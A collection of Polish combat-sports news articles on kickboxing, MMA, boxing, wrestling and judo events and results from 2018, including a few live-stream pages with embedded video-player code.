DSF 18: 8 grudnia Tomasz Sarara debiutuje w federacji DSF Kickboxing Challenge!

W walce wieczoru gali DSF 18 w Ząbkach po raz pierwszy w federacji DSF Kickboxing Challenge wystąpi zawodowy mistrz świata wagi ciężkiej Tomasz Sarara. Krakowski fighter to żywa legenda polskiego kickboxingu i bez wątpienia jeden z największych wojowników, jakich można zobaczyć nad Wisłą. Nazwisko jego rywala zostanie podane na początku listopada.

W swoim ostatnim występie na Narodowej Gali Boksu w Warszawie 33-letni Sarara pokonał przed czasem Tomasa Moznego, zdobywając tytuł mistrza świata WKN. Zawodnik klubu TS Wisła ma także na koncie mistrzowskie tytuły federacji FEN oraz Celtic Gladiator. Teraz na jego celowniku znalazł się pas DSF Kickboxing Challenge. W królewskiej kategorii panuje obecnie mocarny Białorusin Piotr Romankiewicz, który w wielkim stylu pokonał m.in. Michała Turyńskiego oraz Dawida Żółtaszka.

– Czekałem na ten moment bardzo długo i możecie mi wierzyć, że będę w pełni gotowy. Idę po mistrzowski pas! – zapewnia niepokonany od ponad sześciu lat Tomasz Sarara, pogromca Daniela Omielańczuka, Niko Falina, Karola Celińskiego i Michała Turyńskiego.

Kolejne zestawienia gali DSF 18 będą ogłaszane w najbliższych dniach. Impreza odbędzie się 8 grudnia o godzinie 19:50. Strona wydarzenia na Facebooku >>>

Brazylijczyk na drodze Polaka

3 listopada w Madison Square Garden Adam Wieczorek stoczy trzecią walkę w UFC. Jego rywalem będzie Brazylijczyk Marcos Rogerio de Lima.

Jeszcze tydzień temu Adam Wieczorek nie przypuszczał, że będzie miał okazję wystąpić na gali UFC 230. Sytuacja diametralnie zmieniła się i w nocy z 24 na 25 października zawodnik potwierdził, że zmierzy się z Limą. Polak zastąpił Ruslana Magomedova, który wypadł z gali z powodu kontuzji.

Na kolejną walkę popularnemu "Siwemu" przyszło czekać blisko siedem miesięcy. Ostatnio w UFC zaprezentował się w kwietniu, kiedy to w drugiej rundzie poddał omoplatą Arjana Singha Bhullara. Warto podkreślić, że było to drugie w historii tego typu zakończenie pojedynku w amerykańskiej organizacji. Polak wykazał się efektywnością, a za swój wyczyn otrzymał bonus w postaci 50 tysięcy dolarów za występ wieczoru. Dla 26-latka było to drugie zwycięstwo w UFC. W debiucie w Sydney pokonał Anthony'ego Hamiltona.

Przed Polakiem kolejne wyzwanie. Z pewnością dość niespodziewane, gdyż Wieczorek został zestawiony z Brazylijczykiem kilka dni przed galą. Marcos Rogerio de Lima jest o siedem lat starszy od "Siwego" i ma dłuższy staż w UFC. Dotychczas stoczył siedem walk, z których cztery wygrał. Warto dodać, że Lima występował w kategorii półciężkiej, a teraz postanowił spróbować sił w wyższej wadze. Co istotne, 33-latek stoczy walkę po półtorarocznej przerwie. Lima wraca do oktagonu po absencji spowodowanej wpadką dopingową.

Patrząc na rozstrzygnięcia walk z udziałem Polaka i Brazylijczyka należy spodziewać się efektywnego starcia. Obaj mają umiejętności, które predysponują ich do poddania rywala i niejednokrotnie z nich korzystali. Zarówno Wieczorek, jak i Lima dotychczas tylko dwukrotnie rywalizowali na pełnym dystansie.

W walce wieczoru gali UFC 230 zaprezentują się Daniel Cormier i Derrick Lewis. Dla 39-letniego mistrza będzie to pierwsza obrona tytułu w wadze ciężkiej. Lewis zapoluje na czwarte zwycięstwo z rzędu i pas, jednak nie będzie to łatwe zadanie. Cormier jest niepokonany od blisko czterech lat. Podczas gali w Madison Square Garden zaprezentuje się również pogromca Krzysztofa Jotko – David Branch, który zmierzy się z Jaredem Cannonierem.

Fot. Adam Wieczorek Facebook

KM

Norman Parke zawodnikiem FEN

Norman Parke (25-6-1, 4 KO, 12 SUB) podpisał kontrakt z federacją Fight Exclusive Night. Irlandczyk zadebiutuje w organizacji 12 stycznia podczas gali FEN 23 w Lubinie. 

Parke ma 31 lat, a na zawodowstwo przeszedł w 2006 roku. Wyspiarz bardzo szybko zaczął budować swoje nazwisko wygrywając w latach 2008-2014 aż 20 z 22 pojedynków. W przeszłości występował w UFC, ACB czy ostatnio Bellatorze. W 2012 roku Parke wygrał The Ultimate Fighter, rok wcześniej został mistrzem brytyjskiej organizacji Cage Contender.

– Norman to bardzo charyzmatyczny i budzący zainteresowanie kibiców zawodnik, który całą swoją nietuzinkowość popiera znakomitymi umiejętnościami sportowymi. Parke wystąpi na naszej najbliższej gali, która 12 stycznia odbędzie się w Lubinie. To kolejny krok w rozwoju naszej federacji, jestem z tego dumny – powiedział Paweł Jóźwiak, prezes FEN.

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

LIVE: Baltic Cup 2 – Day 1 (RING)

Zapraszamy na transmisję telewizyjną z Baltic Cup 2, które odbywają się w Sejnach.

[kod]

Baltic Cup 2 – Sejny 2018

Baltic Cup 2 – Sejny 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-sd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-sd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-sd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

LIVE: Baltic Cup 2 – Day 2 (RING)

Zapraszamy na transmisję telewizyjną z Baltic Cup 2, które odbywają się w Sejnach.

[kod]

Baltic Cup 2 – Sejny 2018

Baltic Cup 2 – Sejny 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-sd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-sd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-sd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

Eliasz Jankowski wystąpi na FEN 23 w Lubinie

Eliasz Jankowski (19-7-1) wystąpi na gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w Lubinie. Zawodnik z Legnicy wystąpi w formule K-1 w limicie kategorii wagowej do 67 kilogramów.

33-letniJankowski jest bez wątpienia jednym z najbardziej utytułowanych i doświadczonych polskich kickbokserów. Lista sukcesów legnickiego wojownika jest długa i imponująca – są na niej m.in. tytuły zawodowego mistrza świata w K-1 Global, zawodowego mistrza świata organizacji WKN i wicemistrza Europy federacji WAKO, a także Puchar Świata WAKO w K-1. Na zawodowych arenach „Jankes” stoczył dotychczas 27 walki, z których aż 19 wygrał. Reprezentant Polkon Fight Legnica karierę sportową łączy ze służbą wojskową – jest zawodowym żołnierzem w 10. Brygadzie Kawalerii Pancernej w Świętoszowie. Jego ostatnim sukcesem jest srebrny medal mistrzostw Europy, które w październiku tego roku odbyły się w Bratysławie.

Jankowski zadebiutować w FEN miał już podczas 15. edycji, ale wtedy z pojedynku, który również miał odbyć się w Lubinie, wyeliminowała go kontuzja. Do karty walk w jego miejsce wskoczył Mateusz Dąbrowski.

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

Brąz na osłodę

W zakończonych mistrzostwach świata w zapasach, które odbyły się w Budapeszcie Polska wywalczyła jeden medal. Po brąz sięgnął Geworg Sahakyan. To wynik gorszy niż przed rokiem, kiedy to z Paryża przywieźliśmy trzy medale.

Jak przedstawialiśmy wcześniej, po występach kobiet i zawodników stylu wolnego nie mieliśmy powodów do zadowolenia. O podium otarła się Katarzyna Krawczyk, która przegrała walkę o brąz z Pang Qianyu z Chin. Nadzieja pozostawała w klasykach, ale początek w ich wykonaniu nie był najlepszy. Przełomu dokonał Gework Sahakyan (67kg), który debiutował w polskiej reprezentacji w imprezie rangi mistrzostw świata. W Budapeszcie 28-latek stoczył pięć pojedynków. Na początek uporał się z Niemcem Erikiem Weissem, a w kolejnej walce pokonał Maunela Lopeza Salcero z Meksyku. W ćwierćfinale reprezentant Polski trafił na wicemistrza Azji Tsuchika Shimoyamadę, ale Sahakyan był rozpędzony i uzyskał awans do strefy medalowej. Szans na złoto pozbawił go mistrz olimpijski z Rio de Janeiro i wielokrotny medalista mistrzostw świata i Europy Serb Davor Stefanek. Reprezentantowi Polski pozostało starcie o brąz. Sahakyan pewnie pokonał Chorwata Janecica 7:0.

Już w 1/16 finału z rywalizacją pożegnał się wicemistrz Europy z 2016 roku Edgar Babayan (82kg). Jego pogromcą okazał się brązowy medalista igrzysk w Rio Irańczyk Said Abdewali. Do 1/8 finału dotarli Przemysław Piątek (60kg) i Rafał Krajewski (130kg), których sklasyfikowano odpowiednio na 17 i 24 miejscu. Trzynastą pozycję zajął Michał Tracz (63kg). Zawodnik Śląska Wrocław stoczył tylko jedną walkę, w 1/8 przegrał z Hasanem Muhammadem. W 1/16 z mistrzostwami świata pożegnali się: Roman Pacurkowski (72kg), Iwan Nykypiuk (77kg), Tadeusz Michalik (87kg) i Michał Olejniczak (97kg).

Tym samym Polacy nie poprawili ubiegłorocznej zdobyczy z Paryża, gdzie zdobyli trzy krążki – dwa srebrne i brąz. Co warto dodać, medal Sahakyana jest 83 w historii występów biało-czerwonych na mistrzostwach świata.

W Budapeszcie karty rozdawali Rosjanie, którzy zdobyli 13 medali, w tym aż dziesięć z najcenniejszego kruszcu. Za ich plecami Japonia (10 medali) i Stany Zjednoczone (9). Warto dodać, że czwarte złoto mistrzostw świata wywalczyła Adeline Gray (76kg). Wcześniej 27-letnia Amerykanka zdobywała tytuły w Las Vegas, Taszkiencie i Strathcona County. Z kolei Frank Stabler (72kg) po raz trzeci został mistrzem świata.

Fot. Polski Związek Zapaśniczy

KM

Coraz mniej szans

W Budapeszcie trwają mistrzostwa świata w zapasach. W rywalizacji kobiet oraz panów w stylu wolnym Polska nie wywalczyła medalu. Nadzieja w zmaganiach zapaśników w stylu klasycznym.

Problem w tym, że szans medalowych coraz mniej, a czas ucieka. Dziś (26 października) w Budapeszcie zaprezentują się: Przemysław Piątek (60kg), Gewrok Sahakian (67kg) oraz Tadeusz Michalik (87kg). Na występ czekają jeszcze: Iwan Nylypiuk (77kg), Marcin Olejniczak (97kg) i Rafał Krajewski (130kg).

O krok od wywalczenia pierwszego medalu mistrzostw świata była Katarzyna Krawczyk (53kg). W tym roku zawodniczka Cement Gryf Chełm sięgnęła po brąz w mistrzostwach Europy w Kaspijsku. Zmagania w Budapeszcie układały się po myśli Polki, która wygrała dwie walki i w półfinale trafiła na mistrzynię świata z Paryża Harunę Okuno. Lepsza okazała się Japonka, która obroniła tytuł. Z kolei Krawczyk rywalizowała o brąz z Pang Qianyu. Walka była niezwykle zacięta, ale Chinka wypchnęła 28-letnią Polkę za matę i zdobyła zwycięski punkt.

Pozostałe z naszych reprezentantek nie zdołały wygrać ani jednej walki. Jowita Wrzesień (57kg) przegrała z późniejszą brązową medalistką Emese Barką z Węgier. Tak jak i Agnieszka Wieszczek-Kordus (72kg), która musiała uznać wyższość Buse Tosun. Bez sukcesu startowały również Iwona Matkowska (50kg) oraz Roksana Zasina (55kg). Ta druga rok temu z Paryża przywiozła brąz, a w tym roku wywalczyła srebro mistrzostw Europy.

W stylu wolnym Magomedmurad Gadżijew (65kg) zajął 15. miejsce. 30-latek wygrał w 1/16 z Walodią Frangulianem, a w 1/8 lepszy okazał się Tumenbilegijn Tuwszintulag. W repasażach przepadł Andrzej Sokalski (74kg), którego sklasyfikowano na 9. miejscu. Z kolei Zbigniew Baranowski dotarł do ćwierćfinału, gdzie przegrał z mistrzem Europy z Nowego Sadu z 2017 roku Daurenem Kuruglijewem. Sebastian Jezierzański (92kg) odpadł w 1/8 finał, zaś Robert Baran (125kg) w 1/16 finału.

Rok temu z mistrzostw w Paryżu biało-czerwoni przywieźli trzy medale – brąz zdobyła Roksana Zasina, a srebra wywalczyli Mateusz Bernatek i Magomedmurad Gadżijew.

Mocne Japonki

W Budapeszcie fenomenalnie zaprezentowała się Yui Susaki (50kg). 19-letnia Japonka dołożyła do swojego dorobku drugie złoto mistrzostw świata, rok temu triumfowała w Paryżu w kategorii 48kg. W rywalizacji pań w Budapeszcie reprezentantki Kraju Kwitnącej Wiśni triumfowały w czterech kategoriach wagowych – 50kg, 53kg, 55kg, 59kg.

Fot. Polski Związek Zapaśniczy Facebook

KM

Judocy powalczą w Abu Dhabi

W dniach 27-29 października odbędą się zawody rangi Grand Slam w Abu Dhabi w Zjednoczonych Emiratach Arabskich. Na tatami nie zabraknie Polaków. Rok temu biało-czerwoni przywieźli z Abu Dhabi dwa medale. Jak będzie tym razem?

Do rywalizacji w Zjednoczonych Emiratach Arabskich szykuje się 372 zawodników, w tym 142 judoczki i 230 judoków. Na listach startowych nie brakuje gwiazd. W Abu Dhabi zaprezentują się światowe jedynki: wicemistrzyni świata Guusje Steenhuis (78kg) oraz mistrz świata Saeid Mollaei (81kg). W gronie gwiazd turnieju będą również: utytułowana Tina Trstenjak (63kg), mistrz olimpijski Lukas Krpalek (+100kg), Frank de Wit (81kg) czy Aleksandar Kukolj (90kg). Na liście jest także ośmioosobowa reprezentacja Polski. W Abu Dhabi zaprezentują się: Karolina Pieńkowska (52kg), Julia Kowalczyk (57kg), Agata Ozdoba-Błach (63kg), Karolina Tałach (63kg), Daria Pogorzelec (70kg), Beata Pacut (78kg) oraz Rafał Kozłowski (90kg) i Maciej Sarnacki (+100kg).

Zawody Grand Slam w Zjednoczonych Emiratach Arabskich odbędą się po raz piąty. Dla Polaków te turnieje w większości przypadków wiążą się ze zdobyczą medalową. Jedynie w 2016 roku żadnemu z naszych zawodników nie udało się stanąć na podium. Najwięcej, bo trzy medale Polacy wywalczyli w 2014 roku – wszystkie koloru brązowego. Rok temu po srebro sięgnął Maciej Sarnacki, który w finałowej walce przegrał z Cyrille'm Maretem. Z kolei Agata Ozdoba-Błach wywalczyła brąz.

Wydaje się, że spośród naszej kadry najwyższej stoją akcje Sarnackiego, który zajmuje 5. miejsce w światowym rankingu. W tym roku Polak nie zameldował się jednak na podium. Mistrzostwa Europy zakończył na siódmym miejscu, dwa tygodnie temu był siódmy w Grand Prix w Cancun. Ostatnio formą błyszczy Daria Pogorzelec. Zawodniczka Wybrzeża Gdańsk w Cancun zdobyła brąz, a we wrześniu wygrała Puchar Europy w Bratysławie. W tym roku trzykrotnie na podium w międzynarodowych startach stały Karoliny – Pieńkowska i Tałach, ale było to w pierwszym kwartale roku. Na pierwszy medal czeka Rafał Kozłowski, który najlepszy wynik osiągnął w Pradze – 5. miejsce. Po raz drugi w Abu Dhabi wystąpi Julia Kowalczyk, która z pewnością będzie chciała poprawić swój wynik. Rok temu stoczyła tylko jedną walkę – przegrała z Rafaelą Silva. Drugi występ w zawodach rangi Grand Slam zaliczy Beata Pacut.

Dla jednych start w Abu Dhabi stanowi kolejny start w karierze, dla innych to nowe doświadczenie bądź nauka. Najważniejsze, aby kontynuować tradycję, czyli wrócić ze Zjednoczonych Emiratów Arabskich z przynajmniej jednym medalem.

KM

LIVE: Mecz Polska vs Węgry (Kick Light), Kartuzy 2018

Zapraszamy na transmisję telewizyjną z oficjalnego meczu Polska vs Węgry w kickboxingu w formule kick light. Zawody odbywają się w Kasrtuzach.

[kod]

Mecz POLSKA vs WĘGRY (Kick-Light), Kartuzy 2018

Mecz POLSKA vs WĘGRY (Kick-Light), Kartuzy 2018

var player = redcdnplayer("redcdnplayer").setup({
file: {
hls: "http://r.dcs.redcdn.pl/livehls/o2/Marklaw/live/stream1/live-hd.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/livedash/o2/Marklaw/live/stream1/live-hd.livx",
ss: "http://r.dcs.redcdn.pl/livess/o2/Marklaw/live/stream1/live-hd.livx/manifest"
},
width: 640,
height: 380,
autoplay: false,
});

FEN 23: Niepokonany Łopaczyk wystąpi w Lubinie

Tymoteusz Łopaczyk (4-0, 3 SUB) jest kolejnym bohaterem gali Fight Exclusive Night 23, która 12 stycznia odbędzie się w Lubinie. Bielawianin po raz trzeci wystąpi w klatce FEN.

Łopaczyk to stosunkowa nowa postać na polskim rynku mieszanych sztuk walki, jednak już dziś może pochwalić się wieloma sukcesami na swoim koncie. To mistrz Polski w MMA. Pierwszy tytuł wywalczył w grudniu 2016 roku podczas ALMMA 125, drugi w marcu 2017 podczas FORUM MMA w Warszawie na PGE Stadionie Narodowym. Zdaniem wielu ekspertów 22-letni Łopaczyk, który znakomicie czuje się w walce w parterze, to jeden z najlepiej zapowiadających się polskich zawodników młodego pokolenia. Jego trener i wielki autorytet, Sławomir Grabowski, uważa, że przed Tymoteuszem stoi świetlana przyszłość, a determinacja oraz upór w dążeniu do celu z pewnością pomogą mu w spełnieniu wszystkich marzeń. Jak sam podkreśla, MMA jest całym jego życiem, a praca pod okiem Grabowskiego może wynieść go na sam szczyt.

Podczas swojego debiutu w FEN Łopaczyk pokonał po znakomitym boju Adriana Błeszyńskiego. Ich pojedynek był ozdobą edycji „Bitwy o Wrocław”. Również w stolicy Dolnego Śląska, w maju 2018 roku, Łopaczyk w 3. rundzie poddał Jacka Jędraszczyka, a pojedynek ten został nagrodzony bonusem za najlepsze starcie wieczoru. Bielawianin do lubińskiej klatki wyjdzie jako niepokonany zawodnik.

– Uwielbiam Tymka – to nasza perełka. Ma 22 lata, a już potrafi wygrywać z bardziej doświadczonymi od siebie zawodnikami. Zawsze generuje olbrzymie emocje i liczę, że po raz kolejny jego występ będzie ozdobą naszej gali. Tymek, liczę na ciebie – powiedział prezes FEN, Paweł Jóźwiak.

Bilety na galę FEN 23 dostępne są na stronie www.fen-mma.com/bilet oraz na Eventim.pl.

Kolejny sukces reprezentacji w kickboxingu

Zdążyliśmy przyzwyczaić się do sukcesów reprezentacji Polski w kickboxingu. Z mistrzostw Europy w Bratysławie biało-czerwoni przywieźli 16 medali. Tym samym Polska potwierdziła, że znajduje się w czołówce europejskiego i światowego kickboxingu.

Powtarzalność to słowo klucz w omawianym przypadku. Ale czy nadal jest odpowiednie w stosunku do naszych kickbokserów? Sukcesy kadry stały się wręcz regułą. Za każdym razem zdobywamy kilkanaście medali, co pozwala nam aspirować do miana potęgi w kickboxingu. Najlepszym potwierdzeniem były zakończone mistrzostwa Europy w Bratysławie. Łącznie biało-czerwoni wywalczyli 16 medali, w tym pięć złotych, trzy srebrne i osiem brązowych. Z tytułów mistrzów Europy cieszą się: Kamila Bałanda (70kg) w K-1, Karolina Kubiak (48kg) w low kicku oraz Łukasz Puczyński (79kg), Piotr Wypchał (89kg) i Michał Grzesiak (94kg) w kick light. Dorobek naszej kadry mógł być większy, ale zawodnikom zabrakło szczęścia i zajmowali piąte lokaty m.in. Marcin Nasiadko (57kg) i Mateusz Niżejewski (69kg) w kick light.

Na tym nie koniec tegorocznych emocji. Nasi kadrowicze szykują się do kolejnych zmagań, które odbędą się w dniach 17-25 listopada w Mariborze. Zawodnicy będą rywalizować w formułach pointfighting, full contact oraz light contact.

Aby zachować pełną przejrzystość, odnieśmy wynik osiągnięty przez biało-czerwonych w Bratysławie do mistrzostw z 2016 roku, które odbyły się w Mariborze i Loutraki (rywalizacja w K-1 i low kick odbywała się na Słowenii, zaś w kick light w Grecji). Wtedy to Polacy zdobyli łącznie 27 medali. 19 na swoim koncie biało-czerwoni zapisali w Mariborze, zaś 8 w Loutraki. Jednak aby porównanie miało właściwy charakter należy odjąć trzy krążki wywalczone w light contact, ponieważ w tej formule tegoroczne zmagania dopiero się odbędą. Zatem osiągnięty w Bratysławie wynik (16 do 24 w 2016 roku w analizowanych trzech formułach) jest i tak uboższy, ale nadal pokazuje pozycję naszego kickboxingu na arenie europejskiej. Trzeba również uwzględnić, że w imprezie nie wzięło udziału kilka ważnych ogniw m.in. Marta Waliczek, Róża Gumienna czy Dawid Kasperski. Mimo to w Bratysławie zajęliśmy trzecią pozycję w klasyfikacji medalowej. Wyżej uplasowali się Rosjanie i Serbowie.

Pozostaje czekać na drugą część mistrzowskiej rywalizacji. Kadrowicze przygotowują się do startu w Mariborze. Głęboko wierzymy, że biało-czerwoni ponownie odniosą sukces i będą w czołówce imprezy.

Fot. Kadra Polski w Kickboxingu Kick-light Seniorów PZKB Facebook

KM

Kownacki zmierzy się w Whyte’m?

Dillian Whyte nie ukrywa swoich planów. Brytyjczyk chciałby walczyć o mistrzostwo świata z Anthony'm Joshuą. Na to starcie przyjdzie mu jednak poczekać. Czy najbliższym rywalem 30-latka będzie Adam Kownacki?

W tym roku Whyte stoczył dwa pojedynki, które zakończyły się jego sukcesem. Najpierw uporał się z Lucasem Browne'm i zgarnął pas WBC Silver. Warto dodać, że Whyte znokautował rywala w szóstej rundzie. Pod koniec lipca Brytyjczyk okazał się lepszy na punkty od byłego mistrza świata WBO Josepha Parkera. W tym roku Whyte stoczy jeszcze jeden pojedynek. Zaplanowano go na 22 grudnia, a pierwotnie jego rywalem miał być Dereck Chisora, którego "The Body Snatcher" pokonał dwa lata temu w Manchesterze. Problem w tym, że dotychczas nie osiągnięto porozumienia. – Jeśli ma dojść do rewanżu z Chisorą, wszystko musi być dogadane w tym tygodniu. Kibice chcą tej walki, więc ja też. Sprawa nie wygląda najlepiej. Mam inne opcje, on poza mną ich nie ma – tłumaczy Dillian Whyte.

Na liście potencjalnych rywali Brytyjczyka znajduje się Adam Kownacki. Oprócz Polaka faworytami do starcia z Whyte'm są: Dominic Breazeale, Luis Ortiz oraz Jarrell Miller. Brytyjczyk zdradził, że Eddie Hearn prowadzi rozmowy „z kilkoma osobami”, ale konkretów jednak brak.

29-letni Kownacki ma na koncie 18 zwycięstw, w tym 14 przez nokaut. Zwycięstwo z Charlesem Martinem sprawiło, że popularny „Baby Face” został dostrzeżony. Polak mieszkający w Nowym Jorku stoczył z Amerykaninem prawdziwą ringową wojnę i wygrał jednogłośnie na punkty. Od razu ruszyły spekulacje na temat jego szans na starcie o pas. Sam Kownacki podkreślał, że potrzebuje jeszcze czasu i kilku pojedynków. Z pewnością walka z Whyte'm byłaby tą z kategorii trudnych, która mogłaby przygotować Kownackiego na największe wyzwania w postaci Deontaya Wildera bądź Anthony'ego Joshuy. Obecnie jednak wszystko "jest palcem na wodzie pisane". Trzeba poczekać na rozwój wypadków.

Ugonoh poznał rywala

Najbliższego rywala poznał Izuagbe Ugonoh. Wszystko wskazuje na to, że 8 grudnia w Gdańsku blisko 32-letni pięściarz zmierzy się z Ali Erenem Demirezenem. Ostatnio urodzony w Turcji bokser sięgnął po pas WBO European pokonując Sergieja Werwejkę.

Fot. Adam Kownacki Facebook

KM

Dwa brązowe medale na mistrzostwach świata

Aleksandra Kaleta (52kg) oraz Iwo Baraniewski (100kg) wywalczyli brązowe medale w mistrzostwach świata juniorów w judo w Nassau. Blisko podium była Natalia Kropska (63kg).

Dla wicemistrzyni Polski seniorów to pierwszy medal na imprezie rangi mistrzostw świata. Warto podkreślić, że w tegorocznych startach Kaleta prezentuje się z dobrej strony. Stawała na podium Pucharów Europy juniorów w Sarajewie, La Coruni oraz Gdyni. W każdym wypadku zajmowała trzecią lokatę. Do tego dołożyła sukces na mistrzostwach Polski seniorów, gdzie w finale uległa Agacie Perenc. Z kolei w zmaganiach juniorów okazała się bezkonkurencyjna. Jedynym rozczarowaniem dla Kalety mogą być tegoroczne mistrzostwa Europy, z którym pożegnała się już w początkowej fazie. Należy dodać, że przegrała z późniejszą srebrną medalistką Anniką Wurfel.

Co do startu Polki na Bahamach, Kaleta w ekspresowym tempie toczyła swoje walki. W niecałą minutę uporała się z Yasmin Javadin, pół minuty potrzebowała na pokonanie Seiji Ballhaus. Nieco dłużej (2,5 minuty) trwało jej starcie z Niną Linne Esteo. W półfinale Kaleta nie sprostała mistrzyni świata kadetek z 2015 roku Tyoko Takedzie, która ostatecznie sięgnęła po złoto. Z kolei wicemistrzyni Polski seniorek stanęła na trzecim stopniu podium. W starciu o brąz szybko uporała się z Corline Marcus Tabellion z Francji.

Autorem drugiego medalu dla Polski był Iwo Baraniewski (100kg). We wrześniu w Sofii zawodnik Uczniowskiego Klubu Judo 225 Warszawa zajął piąte miejsce w mistrzostwach Europy. We wcześniejszych startach również otarł się o podium – Gdynia i Lignano. W końcu Baraniewski sięgnął po medal i to w mistrzostwach świata. Po trzech wygranych walkach, przyszedł czas na półfinał. Japończyk Kiyotaka Sekine okazał się zbyt mocnym rywalem i pokonał Polaka. Baraniewskiemu przyszło zmagać się o brąz. Jego rywalem był wicemistrz Europy kadetów z 2016 roku Mathias Madsen. Baraniewski wygrał przez waza ari.

Szansę na drugi medal mistrzostw świata miała Natalia Kropska. Zawodniczka Czarnych Bytom wygrała trzy walki, ale potem przegrała w półfinale z Sanne Vermeer i starciu o brąz z Asumi Urą.

Siódme miejsce w mistrzostwach świata wywalczyła Paulina Dziopa (+78kg).

Fot. pixabay.cpm

KM

FEN 23: Znamy już datę i miejsce!

12 stycznia 2019 roku w hali RCS w Lubinie odbędzie się gala Fight Exclusive Night 23. Będzie to czwarta wizyta federacji w mieście usytuowanym na Dolnym Śląsku.

Pierwszą obronę pasa mistrzowskiego w formule K-1 w kategorii do 77 kilogramów stoczy Łukasz Pławecki (21-14-1). "Boom Boom" podczas FEN 21 pokonał Wojciecha Wierzbickiego i dołożył kolejny skalp do swojej bogatej kariery sportowej. Zawodnik z Nowego Sącza w przeszłości zdobył między innymi Puchar Świata.

Podczas FEN 23 kibice zobaczą pojedynek w kategorii ciężkiej Marcina Zontka (17-11, 9 KO, 5 SUB) z Marcinem Sianosem (3-3, 3 KO). Pierwszy z zawodników to weteran polskiego MMA i jeden z najbardziej doświadczonych wojowników FEN. "Zonti" ma na swoim koncie już 7 pojedynków pod szyldem federacji, a w maju 2018 roku bez problemu rozprawił się z Tonim Valtonenem. Sianos natomiast efektownie zwyciężył z Mateuszem Duczmalem podczas FEN 18 i marzy o pasie mistrzowskim w kategorii ciężkiej. Zwycięstwo z Zontkiem ma być skokiem jakościowym w jego karierze.

– Zawsze miło wspominam gale, które miały miejsce w Lubinie. Nie przesadzę, jeżeli powiem, że za każdym razem tworzyliśmy na Dolnym Śląsku kapitalne widowisko. Tym razem będzie podobnie, bo zaoferujemy naszym fanom znakomitą rozpiskę walk. Będą pojedynki mistrzowskie, będzie starcie w kategorii ciężkiej. Na pewno wielu zawodników z tego regionu pokaże się w klatce. Nie mogę już doczekać się gali FEN 23 – powiedział prezes FEN, Paweł Jóźwiak.

Bój o półfinał

20 października w CFE Arena w Orlando w ćwierćfinale World Boxing Super Series w kategorii junior ciężkiej Mateusz Masternak zmierzy się z Yunielem Dorticosem. W półfinale czeka już Andrew Tabiti.

Przed popularnym "Masterem" 46 pojedynek w karierze. Pod tym względem ma przewagę nad rywalem, bo Dorticos dotychczas stoczył 23 walki, choć jest o rok starszy od Polaka. Trzeba jednak oddać sprawiedliwość i zwrócić uwagę, że Kubańczyk zawodową karierę rozpoczął trzy lata później niż Masternak.

Dorticos rysuje się jako niezwykle trudny i wymagający rywal. Przede wszystkim ma niezwykle potężny cios, którym zatrzymał przed czasem aż 21 rywali. 32-letni Kubańczyk ma na swoim koncie tytuł tymczasowego mistrza świata federacji WBA. Ostatecznie Dorticos mógł cieszyć się z pełnoprawnego miana czempiona. Kubańczyk ma za sobą doświadczenie z pierwszej edycji WBSS. W ćwierćfinale uporał się z Dmitrijem Kudriaszowem, jednak w półfinale przegrał z Muratem Gassijewem.

Dla Masternaka turniej WBSS będzie kolejną okazją do zaistnienia w kategorii junior ciężkiej. Polak był mistrzem Europy, mówiło się nawet, że przyjdzie czas, kiedy zmierzy się o pas mistrza świata z Denisem Lebediewem. Tak się nie stało. W starciu o tymczasowy pas lepszy okazał się Youri Kalenga, później "Master" zanotował porażkę w starciu z Tony'm Bellewem o wakujący tytuł mistrza Europy. Masternak ma jednak serię pięciu zwycięstw z rzędu i swoją postawą zapracował na szansę od organizatorów WBSS.

Do walki z Dorticosem były mistrz Europy przygotowywał się pod okiem trenera Zygmunta Gosiewskiego. Masternak intensywnie pracował we Wrocławiu, a w ostatnim czasie udał się na Florydę. Polaka czeka trudne wyzwanie, jednak podchodzi optymistycznie do zbliżającego się starcia. Pewny swego jest Dorticos, który w stronę Masternaka śle kąśliwe uwagi. Czy „Master” odpowie mu w ringu? Dotychczas sposób na Dorticosa znalazł tylko Gassijew.

Na zwycięzcę starcia w Orlando czeka już Andrew Tabiti, który w pierwszym ćwierćfinale pokonał na punkty Rusłana Fayfera.

Kolejne starcia ćwierćfinałowe w kategorii junior ciężkiej odbędą się 10 listopada w Chicago. Mairis Briedis podejmie Noela Gevora, a były mistrz WBO Krzysztof Głowacki spotka się z Maksimem Własowem.

Fot. Mateusz Masternak Facebook

KM

Dwa medale w Cancun

Agata Perenc (52kg) wywalczyła srebro, a Daria Pogorzelec (70kg) brąz w zawodach Grand Prix w judo, które odbyły się w Cancun.

Do Meksyku udała się 11-osobowa kadra Polski. Największe powody do zadowolenia ma Agata Perenc, która była o krok od zwycięstwa. Zawodniczka Polonii Rybnik po raz pierwszy w tym roku stanęła na podium międzynarodowych zawodów. Dla Perenc to drugie srebro wywalczone w Grand Prix. W październiku 2017 roku taki sam wynik osiągnęła w Taszkiencie. Co do występu judoczki w Cancun, zawody rozpoczęła od wygranej przed czasem z Peruwianką Brillith Gamarrą Carbajal. Następnie Polka rozprawiła się z wicemistrzynią Europy z 2017 roku Alesyą Kuznetsovą. W półfinale Perenc wygrała ze Szwajcarką Fabienne Kocher, a w walce o złoto czekała na nią Ana Perex Box. Hiszpanka triumfowała przez waza ari.

